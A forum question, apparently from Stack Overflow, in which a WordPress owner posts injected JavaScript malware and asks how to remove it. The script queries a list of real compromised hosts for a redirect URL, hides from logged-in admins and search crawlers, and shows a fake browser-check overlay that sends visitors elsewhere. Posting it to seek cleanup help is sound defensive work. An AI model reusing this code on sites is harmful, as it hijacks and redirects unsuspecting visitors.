title: Suspicious code in WordPress any idea how to remove this?
body: <pre><code>(function () {
      //&lt;script&gt;
      var w_location = null;
  
      var domains = [
          'http://kntsv.nl/images/tmp.php',
          'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
          'http://langedijke.nl/plugins/tmp.php',
          'http://megateuf.edelo.net/cgi-bin/tmp.php',
          'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
          'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
          'http://yofeet.com/drupal/modules/tmp.php',
          'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
          'http://www.devonportmotors.co.nz/images/tmp.php'
      ];
  
      function getDomainName(domain) {
          var xhr = new XMLHttpRequest();
          xhr.onreadystatechange = function () {
              if (xhr.readyState == XMLHttpRequest.DONE) {
                  if (xhr.responseText &amp;&amp; xhr.responseText.trim().length &gt; 0) {
                      w_location = xhr.responseText.trim();
                  }
              }
          };
          xhr.open('GET', domains[0], true);
          xhr.send();
      }
  
      for (var i = 0; i &lt; domains.length; i++) {
          getDomainName(domains[i]);
      }
  
      function start() {
  
          var from = document.referrer;
          var i;
  
          // If it's direct
          var eee = ["", " "];
  
          var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];
  
  
          if (checkCookie()) {
              return;
          }
          var uagent = navigator.userAgent;
          if (!uagent || uagent.length == 0) {
              return;
          }
          uagent = uagent.toLowerCase();
          if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
              || uagent.indexOf('crawl') != -1) {
  
          } else {
              hideWebSite();
          }
  
          function getCookie(c_name) {
              var c_value = document.cookie;
              var c_start = c_value.indexOf(" " + c_name + "=");
              if (c_start == -1) {
                  c_start = c_value.indexOf(c_name + "=");
              }
              if (c_start == -1) {
                  c_value = null;
              }
              else {
                  c_start = c_value.indexOf("=", c_start) + 1;
                  var c_end = c_value.indexOf(";", c_start);
                  if (c_end == -1) {
                      c_end = c_value.length;
                  }
                  c_value = unescape(c_value.substring(c_start, c_end));
              }
              return c_value;
          }
  
          function setCookie(c_name, value, exdays) {
              var exdate = new Date();
              exdate.setDate(exdate.getDate() + exdays);
              var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
              document.cookie = c_name + "=" + c_value;
          }
  
          function checkCookie() {
              if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
                  return true;
              } else {
                  localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
              }
              var referrerRedirectCookie = getCookie("referrerRedirectCookie");
              if (referrerRedirectCookie != null &amp;&amp; referrerRedirectCookie != "") {
                  return true;
              } else if (document.cookie.indexOf('wordpress_logged') !== -1
                  || document.cookie.indexOf('wp-settings') !== -1
                  || document.cookie.indexOf('wordpress_test') !== -1) {
                  return true;
              } else {
                  setCookie("referrerRedirectCookie", "do not redirect", 730);
                  return false;
              }
          }
  
      }
  
  
      function createPopup() {
          var popup = document.createElement('div');
          popup.style.position = 'absolute';
          popup.style.width = '100%';
          popup.style.height = '100%';
          popup.style.left = 0;
          popup.style.top = 0;
          popup.style.backgroundColor = 'white';
          popup.style.zIndex = 99999;
          document.body.appendChild(popup);
  
          popup.onclick = function () {
              var intervalId = setInterval(() = &gt; {
                      if (
              !w_location
              )
              {
                  return;
              }
              clearInterval(intervalId);
              window.location = w_location;
          },
              10
              )
              ;
  
          };
  
          var p = document.createElement('p');
          p.innerText = "Checking your browser before accessing "
              + window.location.host + "...";
          p.style.textAlign = 'center';
          //p.style.margin = '20px auto';
          //p.style.left = '20px';
          p.style.fontSize = 'x-large';
          p.style.position = 'relative';
          p.textContent = p.innerText;
          popup.appendChild(p);
  
          return popup;
      }
  
      function createButton() {
          var button = document.createElement('div');
          button.style.position = 'absolute';
          button.style.top = '20%';
          button.style.left = '10%';
          button.style.right = '10%';
          button.style.width = '80%';
          button.style.border = "1px solid black";
          button.style.textAlign = 'center';
          button.style.verticalAlign = 'middle';
          button.style.margin = '0, auto';
          button.style.cursor = 'pointer';
          button.style.fontSize = 'xx-large';
          button.style.borderRadius = '5px';
          button.onclick = function () {
              window.location = w_location;
          };
          button.onmouseover = function () {
              button.style.border = '1px solid red';
              button.style.color = 'red';
          };
          button.onmouseout = function () {
              button.style.border = '1px solid black';
              button.style.color = 'black';
          };
  
          button.innerText = "Continue";
          button.textContent = button.innerText;
          return button;
      }
  
      var hideWebSite = function () {
          var popup = createPopup();
          var button = createButton();
          popup.appendChild(button);
  
      };
  
      var readyStateCheckInterval = setInterval(function () {
          if (document.readyState === 'complete'
              || document.readyState == 'interactive') {
              clearInterval(readyStateCheckInterval);
              start();
          }
      }, 10);
      //&lt;/script&gt;
  
  
  })
  </code></pre>
  
  <p>I have tried grep across code, but couldn't find anything, I took MySQL dump of complete database, but didn't find anything there.</p>
  
  <p>I ran clamscan and I can't find any issue, My doubt is on Visual Composer, but when I grep in Visual Composer I dont see this code.</p>
  
  <p><strong>UPDATE</strong></p>
  
  <p>This is what the site shows when infected:</p>
  
  <p><a href="https://i.stack.imgur.com/UNFN0.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/UNFN0.png" alt="enter image description here"></a></p>
  
  <p>You can check the source of that message and button (overlay, which should not be there) by going to Chrome dev tools console and see the value of variable <strong>ZJPMAWHWOE</strong> which will give you a bunch of JS code, but in the variable it is encrypted, once the code runs and gets decrypted it is the JS code posted above.</p>
  
  <p>If you go to website <a href="https://sitecheck.sucuri.net/" rel="nofollow noreferrer">https://sitecheck.sucuri.net/</a> and check for your site then you will get the infection alert from them:</p>
  
  <p><a href="https://i.stack.imgur.com/bdybH.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/bdybH.png" alt="enter image description here"></a></p>